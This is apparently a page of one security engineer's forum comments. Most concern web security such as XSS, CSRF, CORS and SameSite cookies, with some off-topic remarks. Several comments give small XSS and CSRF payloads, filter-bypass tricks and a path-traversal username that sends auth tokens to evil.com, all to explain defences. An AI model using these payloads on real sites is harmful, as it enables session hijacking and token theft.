tshadwell's comments

this is an article about the UK.

'we've taught this robot to move small uniform blocks and we're going to make it perform arbitrary complex tasks on a variety of objects' sounds a lot like 'i'm trying to draw the mona lisa and I got her eyebrow down really good'

from experience, I wouldn't recommend other than context-aware safe templating systems for html safety in this day and age.

to an even greater extent than templating systems, sanitization systems of this type need to be built by an expert and align perfectly with how browsers parse tags, which is no small feat.

to give more concrete examples, from a few minutes of testing:

<a href="javascript://%0Aalert`xss`">1</a> <- xss on click

<img src=javascript:alert(2)> <- XSS in Opera Mobile, Opera 10, early versions of IE

<img src="/logout"> <- csrf which affects nearly everything built without security knowhow

So in order to use a function that exposes the software to serious undue security risk unless used correctly, the engineer is pushed to do research? That really doesn't seem like a bad thing...

in a similar vein, I often close browsers with ^W, expecting to delete a word. Thanks Vim.

Really cool product presented beautifully. But perhaps from being a security engineer, I wish it would say anything at all about how they're going to ensure a 16 year old kid can't pwn me from the internet and crush things -- here's praying it can't crush people.

I've just started getting into the whole smarthome thing, it worries me how hard it is to get information about security characteristics or even standards enforcement for these (which appear to be mostly non-existent).

I wish the public were more inclined to ask the question of 'but how is it secured?' when examining something to be placed in their home.

See also: https://github.com/shockone/black-screen

I tried to enjoy ingress, but didn't and I enjoy pokemon go.

Obviously the Pokémon brand is a draw, but ingress felt like a platform for a game that people had to construct. I got contacted by people who told me I needed to join these groups and talk in these IRC channels to have fun. I live in an area that's not so tech-savvy so there's few ingress points / Pokéstops but I can still walk over to the park and wander around some time through the few Pokéstops and gyms there are and have a lot of fun.

To me, ingress feels like an endless RPG quest where you have to retrieve items from various points. Sure, if you gather and co-ordinate efforts over the IRC channels and chat rooms I was invited to promising great depth you can create enough of a social element to make it pretty fun but I could be doing anything else.

With Pokémon Go, I feel confident to flip it out anywhere and gain a little bit of ingame development and fun that I can share with my friends, and I don't lose anything if I don't.

That's an amazingly regressive point of view. Sure, in the past such things risked prosecution but why exactly does it mean we have to figuratively knock stones together on vulnerability ethics? When cars were invented, a man had to run in front of the car with a red flag to warn others of it.

In 2016, everyone deserves privacy and security on the internet. We know and understand the dangers of vulnerabilities better, and I think we should be capable of having some respect and suitably compensating those who do the right thing.

If you can make the internet a more secure place for us to live our lives and make enough to live out of it, more power to you.

What are you proposing to replace cookies with? Auth tokens and XHR? Localstorage? Why?

The primary problem this hopes to solve is actually CSRF. Simply generating an HTML form for a website for any website and submitting it sends the cookies of the target website, regardless of where the form is based. XHR isn't so much of an issue as it has same origin policy restrictions.

This spec allows you to set cookies that turn this outdated and age-old security policy on its head, so instead of having to generate and validate cryptographically derived client-correlated tokens on every form (CSRF tokens), we can simply set this flag and refuse to send these cookies from any other site. This has long been known to be the right thing to do, which is why other new-age web policies like CORS refuse to send cookies completely by default.

The HttpOnly flag is meant to mitigate cookie theft risk via XSS. To my knowledge this particular innovation actually does nothing to that risk.

I might look into this. People are always surprised by how long it takes for me to notice them in a crowd

I have a really excellent visual imagination. I can imagine myself walking or driving great distances, and I can imagine all the scenery, the trees, the colour of the sky. I can put things in the scene, take them out, rotate them. I don't have any sounds or smells.

I have trouble imagining what a person looks like. Especially hard is their face. I don't really have any idea what my mother's face looks like except that she has blonde hair. My dreams don't have people in them, not really. Sometimes there's the concept of a person, but I can't really see them.

Is there a name for this?

Edit: before this article, I didn't know it was possible to have a condition like this. I just assumed I was misinterpreting my imagination somehow.

My sister once related a dream to me that involved several people, some, famous people she hadn't even met. I couldn't recall one that really had anyone physically present. I remember a terrifying nightmare when I was very young that my father was in, but really it was just his trousers. I couldn't see any of him.

See also: https://github.com/StackExchange/blackbox "blackbox by StackExchange"

> I'm sure threat modelling is something everybody does implicitly.

You may work somewhere that this is the case, but I can't count the number of times I have tested an application where someone has equated security to having an A+ HTTPS rating.

> This is a slide deck

Understood, and something I didn't consider before. That said, I think my comments will still be useful to those here who have also not seen the original talk.

This aricle falls foul of what I might call 'security shopping'-- passing mentions of lots of brightly coloured complex sounding security things with very little regard to what exact problem they're solving.

They mention a VPN or insecure access panel having bad permissions, but recommend a mixed bag of differently coloured jellybeans as the solution without once reccomending shutting down the PHP script, allowing access from the VPN only through certificate, password and hardware two-factor authentication, and ensuring good access controls and employee on- and off boarding systems.

Far more importantly, I question the efficacy of any security recommendation that doesn't mention threat modelling at all. What is it you want to protect? What's it going to cost to protect these things? What's it going to cost to lose them? What's the simplest and most effective best way of protecting these? Is it really moving your entire system to a different platform and upgrading all your cypto -- ask yourself -- are we really installing air bags, or are we building our car out of armour plates? Some kid is going to spend 2 hours on XSS in your app if you spend all your resources investing in in-datacentre encryption and service-to-service authentication.

I think it's super important to understand that removing the preflight request practically kills the security measures of CORS. With no preflight request, the browser has no idea whether it can make a request until it already has, at which point it can only restrict access to the contents of the response.

The reason 'simple' and 'unsimple' exists is that simple requests are just normal XHR requests, and it would be infeasible to change all the web standards to prevent something that has been used for years.

Tokens in URLs is a very different, and perhaps drastically more insecure pattern than in headers. The primary issue is that it is extremely common to do:

"/api/v1/user/" + username + ".json?token=" + token

That might seem fine and dandy, but what if I tell you "username" is now "../../../login?after=//evil.com?x="

Now the url is:

/api/v1/user/../../../login?after=//evil.com?x=.json?token=TOKEN

->

/login?after=//evil.com?x=.json?token=TOKEN

->

http://evil.com?x=json?token=TOKEN

Assuming you have an open redirect flaw in your login system (extremely common), I can now exfiltrate user authorization tokens to my own server.

Setting Content-Type to text/plain works, but doing this kind of fiddling is pretty scary. If your Content-Type ends up as XML or HTML, you've just opened up your site for global XSS.

> The browser does not make an OPTIONS request, the server with awareness can potentially not allow the request. Web frameworks don’t do this because in lieu of better security measures, such as CSRF or using sessionless authentication.

If I'm understanding it right, you're saying that if configured correctly, the server can decide to not display information if the CORS rules are not met. This is to my knowledge a misunderstanding of how CORS works. Once you realise that CORS is meant to be a static set of headers cache-able and dedicated to a specific endpoint it makes a lot more sense.

With CORS, it is the browser, having been informed by the CORS headers what restrictions are placed on making requests to that endpoint which decides whether a request can go through.

This misunderstanding can become ugly when, as I've seen in several popular libraries from my research -- when combined with the 'fail early' pattern. The CORS-aware middleware sends rules to the browser as it validates them, and if one fails exits prematurely. If an earlier CORS rule is purposely failed by an attacker during a preflight request, the middleware will not send all the CORS headers, allowing subsequent requests with less / zero restrictions.

Some notes:

1) Never blacklist. Seriously, unless you are in the business of writing and securing browser parsers, you are never going to catch everything. There are many vectors not listed on OWASP's XSS Filter Evasion Cheat Sheet. See https://www.w3.org/TR/html5/scripting-1.html#restrictions-fo... for an idea of what you're up against.

Because of the incredible number of ways you can cause security vulnerabilities through injection, in 2016 unless you're sending Content-Type text/plain always try and use secure templates. https://github.com/cure53/DOMPurify is nice, but there are likely good options for your language.

I say use secure templating because you need highly contextual encoding. As this article points out, escapes for HTML will not work in Javascript. Neither will they work for URLs. Single quotes are not escaped in most URLencoding schemes for example.

Many an application has been hacked due to a well-meaning engineer trying to prevent open redirect by only allowing urls with '/' at the front in links, not realising that '//x.com' also takes you out to x.com, or preventing '/' at all, not realising that '@x.com' will take you to x.com, or that '../../..' injection can cause requests to any endpoint on the same domain.

2) Javascript is not your only enemy, and it is not by any means your most fierce. You can use CSS to exfiltrate secret tokens: http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode...

Practically any injection can 'redress' your page so it appears drastically different from a user, which is potentially more powerful than just script injection. You can bypass same origin policy boundaries by coercing the user into making input into an invisible iframe if the stars is aligned.

3) Though this article talks about input validation a lot, it doesn't talk about actually how to do this defensively. You need to construct terse expressions that limit to input data you know can only be safe. Many an application has been hacked by specifiying /#[A-Fa-f]{3,6}|.*/ for hex colour codes.

Wherever you can, do not deal with raw DBMS language strings (SQL, Javascript) and string interpolation, that's a huge red flag. Instead use a driver / wrapper that provides injection safety and use prepared statements.

4) Unless you really want to invest time into learning web security and doing CTFs, don't try to write your own filters. For example, the suggestion that escaping "'" to "\'" can be bypassed simply by adding a "\" just before the open quote. "'" -> "\'", but "\'" -> "\\'", closing whatever single-quoted string you're in.

5) Serialization is not secure escaping in some contexts. For example, if your endpoint identifies as text/html, but instead returns JSON, I'm going to send some HTML in the JSON string and send a user to the endpoint directly to get XSS.

6) HTML is not your only enemy. XML documents can exfiltrate secrets through XXE and can be coerced into XSS with XHTML islands. Flash is a terrifying thing because it for the most part ignores Content-Types (see: https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-fla...). Requests that flash applications make are just as injectable as any other.

Unfortunately, though this article might cover a fair portion of encoding security, huge issues like effective and secure CSRF protection is not discussed. That's a story for another day. One day there will be a thorough and true guide to security in webapp development, but that is not this day.

What area of 'cybersecurity' would I be finding myself breaking substitution ciphers based on wingdings in?

I work in the information security industry, and I feel like I'm missing something but I really have to ask what these are relevant to.

Cryptography, which this appears to be a reduced form of is mostly tangential and very nuanced relative to the ciphers in this challenge. I often feel my line of work is grossly misrepresented by dizzying fields of esoteric numbers and references to ancient cryptography when I'm happy to find myself many of my days engrossed in the security characteristics of some powerful technology used right now in the real world.

I moved from engineering to security, but if this was my only interaction with security, I'm not sure I'd have been interested.

Edit: if you're interested in real crypto challenges, try http://cryptopals.com/ and read Cryptography Engineering, which is a wonderful read that goes over not only the cryptography but also the principles common across the many specialisations of the infosec industry

All understood, and you're right, but the tone of this article and that of its kin is at least equally bad at idea discussion -- it's not weighing out positives and negatives or trying to get an idea of why things are how they are, it's just angry that it can't do the thing it wants to do, and it wants you, and everyone else to know.

I'm saddened that you feel like the Go community doesn't answer these questions, and I'd love to write an article on why these things are how they are and how they can be useful, but that's beyond the scope of a HN comment.

Yes, I disagree with the author of the article, but the primary thing I intend to satirise is his angry tone. If you've felt that the Go community has been condescending, I hope the condescending articles get equally as many critics.